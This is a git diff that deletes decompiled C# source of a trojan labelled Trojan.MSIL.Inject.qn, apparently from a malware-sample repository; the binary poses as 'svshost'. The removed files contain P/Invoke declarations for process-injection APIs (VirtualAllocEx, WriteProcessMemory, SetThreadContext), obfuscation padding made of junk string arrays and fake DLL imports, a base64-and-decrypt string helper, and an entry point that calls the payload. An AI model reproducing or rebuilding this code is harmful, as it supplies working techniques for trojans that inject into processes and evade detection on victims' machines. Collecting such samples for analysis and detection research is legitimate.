MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs deleted file mode 100644 index 47682616..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("nhUleUVDgONqB")] -[assembly: AssemblyTrademark("LQAPFZLDAgcuGP")] -[assembly: AssemblyDescription("cOMTcGT")] -[assembly: AssemblyTitle("zRUoSLlZr")] -[assembly: AssemblyCopyright("hunoiBGlvSqn")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("0afb926c-7b6e-40e2-bef1-a3bc3ef9beb6")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs deleted file mode 100644 index acff50c5..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs deleted file mode 100644 index dd1d14ba..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs deleted file mode 100644 index 548a4a2e..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj deleted file mode 100644 index a620abbd..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Debug - AnyCPU - {6035478F-C010-4A21-B050-27DEA27BF22D} - WinExe - svshost - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln deleted file mode 100644 index 7cf9c0b8..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svshost", "Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.csproj", "{6035478F-C010-4A21-B050-27DEA27BF22D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6035478F-C010-4A21-B050-27DEA27BF22D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6035478F-C010-4A21-B050-27DEA27BF22D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6035478F-C010-4A21-B050-27DEA27BF22D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6035478F-C010-4A21-B050-27DEA27BF22D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs deleted file mode 100644 index 9530df78..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: afwwfafwafawfwa -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class afwwfafwafawfwa -{ - public static void gagawgawgwa() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs deleted file mode 100644 index 8277269b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: agawhhwahwwhwh -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class agawhhwahwwhwh -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs deleted file mode 100644 index ddb3ba48..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs +++ /dev/null @@ -1,300 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: aheehzhdzdhzez -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Runtime.InteropServices; -using System.Text; - -[StandardModule] -internal sealed class aheehzhdzdhzez -{ - [DllImport("Cry.dll", EntryPoint = "usep32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern char caaPProceL(short window, long name, ArrayList msg, byte[] cbuff); - - [DllImport("Bc.dll", EntryPoint = "Wondows", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string BcicCry(int msg, ArrayList name, int hkey, byte[] xPa); - - [DllImport("LoLer.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string CryaPzc( - long hkey, - int name, - char crap, - int license, - byte[] path, - StringBuilder number, - string[] Zfinder); - - [DllImport("wc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int aPcaVc( - ArrayList crap, - char name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string count, - long user, - string[] moIdea); - - [DllImport("mu.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern short LoLerWondowsRegmak( - int count, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder proces, - ArrayList window, - byte[] xPa, - char crap); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int ProceLLoLerKa(char proces, string[] Id); - - [DllImport("Bc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aPcaWi([MarshalAs(UnmanagedType.VBByRefStr)] ref string Id, string[] name, char hkey); - - [DllImport("Wondows.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int wccaKa( - StringBuilder Zfinder, - byte name, - short number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, - byte[] xPa, - long window, - ArrayList user); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string ProceLicWi( - string[] number, - short name, - int moIdea, - StringBuilder count, - byte[] path, - ArrayList msg, - byte Zfinder, - int window, - char license); - - [DllImport("oc.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern char CrycaRegmak( - byte moIdea, - int name, - long Tempe, - string[] proces, - byte[] cbuff, - short number); - - [DllImport("Cry.dll", EntryPoint = "ca", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int VcRegmakwc( - short Tempe, - long name, - ArrayList license, - byte Id, - byte[] xPa, - char crap, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hkey); - - [DllImport("ic.dll", EntryPoint = "Regmak", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder Wizcca( - int license, - ArrayList name, - int user, - short Zfinder, - byte[] path, - long Tempe); - - [DllImport("ca.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string aPwcVc( - long user, - int name, - char window, - int number, - byte[] cbuff, - StringBuilder proces, - string[] count); - - [DllImport("Cry.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte caWondowsKa( - ArrayList window, - char name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - long moIdea, - byte[] xPa, - int user); - - [DllImport("aP.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern string[] aPaPzc( - int msg, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder hkey, - ArrayList Tempe, - byte[] path, - byte Zfinder, - short Id); - - [DllImport("ic.dll", EntryPoint = "ic", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long ProceLVcVc( - char hkey, - StringBuilder name, - string[] crap, - int license, - byte[] cbuff, - short number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - byte hwnd); - - [DllImport("oc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern char WondowsProceLusep32([MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, byte count); - - [DllImport("Regmak.dll", EntryPoint = "me", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aPWondowsRegmak(StringBuilder count, byte name, [MarshalAs(UnmanagedType.VBByRefStr)] ref string window); - - [DllImport("Cry.dll", EntryPoint = "aP", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder icKaca(string[] proces, int Id); - - [DllImport("wc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern ArrayList memuBc( - byte Id, - int name, - long Zfinder, - string[] hkey, - byte[] xPa, - int user, - char license); - - [DllImport("LoLer.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern char aPBcaP(short Zfinder, long name, ArrayList number, byte[] path); - - [DllImport("Bc.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string[] meVcLoLer( - int number, - ArrayList name, - int moIdea, - short count, - byte[] cbuff, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - long Zfinder, - char hwnd); - - [DllImport("ic.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern short icWiKa( - long moIdea, - int name, - char Tempe, - int proces, - byte[] xPa, - StringBuilder hkey, - ArrayList number, - string[] msg, - byte user); - - [DllImport("Regmak.dll", EntryPoint = "Bc", CharSet = CharSet.Auto, SetLastError = true)] - public static extern byte[] CrymeRegmak(ArrayList Tempe, char name, long Id); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern short ococme( - int license, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder user, - ArrayList Zfinder, - byte[] cbuff, - char Tempe); - - [DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int WiWondowsProceL(char user, string[] window); - - [DllImport("Vc.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long VcCryusep32( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string window, - string[] name, - byte msg, - char moIdea, - byte[] path, - StringBuilder user); - - [DllImport("aP.dll", EntryPoint = "Bc", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string[] KamuCry( - StringBuilder msg, - byte name, - short hkey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Tempe, - long Zfinder); - - [DllImport("ProceL.dll", EntryPoint = "ProceL", CharSet = CharSet.Auto, SetLastError = true)] - public static extern byte[] Bcmuca(string[] hkey, short name, StringBuilder license); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder memuwc( - byte crap, - int name, - long count, - string[] user, - byte[] path, - int moIdea, - short hkey, - char number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Id); - - [DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string[] CryProceLwc( - short count, - long name, - ArrayList proces, - byte window, - byte[] cbuff, - char Tempe, - int crap, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string moIdea, - StringBuilder Zfinder); - - public static byte[] BuEubofOvOzppmpu( - int rvZTPvbQcOeDfgId, - string TdicbTzgdRGNcLTF, - byte[] oTUfVBnGRLvfEnFu) - { - byte[] numArray; - return numArray; - } - - public static byte[] ddFpvLEZcHSSmBpQ( - int TeaOmSAbGHAgbuLz, - string MgsmbdtcmHgsQpee, - byte[] DhOIPmpeQHNGGlzM) - { - byte[] numArray; - return numArray; - } - - public static byte[] eUpDMIhIvLerthac( - int UVIbBRdMcILFlcsI, - string NZdApcZOGIrSaVOp, - byte[] EavVelSQmIZfPQhV) - { - byte[] numArray; - return numArray; - } - - public static byte[] tihgEtlguHtTvfRr( - int llCEsDficHbgnama, - string cmUdhMbmGGHtcTFF, - byte[] SnpBVTTomGoHRObn) - { - byte[] numArray; - return numArray; - } - - public static byte[] ubRtSsOSQIFsFMCD( - int mcmRHCIUvImGuGUl, - string ddFpvLEZcHSSmBpQ, - byte[] TeaOmSAbGHAgbuLz) - { - byte[] numArray; - return numArray; - } - - [STAThread] - public static void Main() => justsomeshit.doit(); - - public static string dwdda(string ÔÖÓ) => Environment.GetEnvironmentVariable(ÔÖÓ); - - public static string fkaOWJfawjfozkLZD(string ÂÄÀ) => Encoding.Unicode.GetString(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(ÂÄÀ))); -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs deleted file mode 100644 index 104b6bf0..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: dkawod -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class dkawod -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs deleted file mode 100644 index 368e9f31..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gawhwahawahw -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class gawhwahawahw -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) 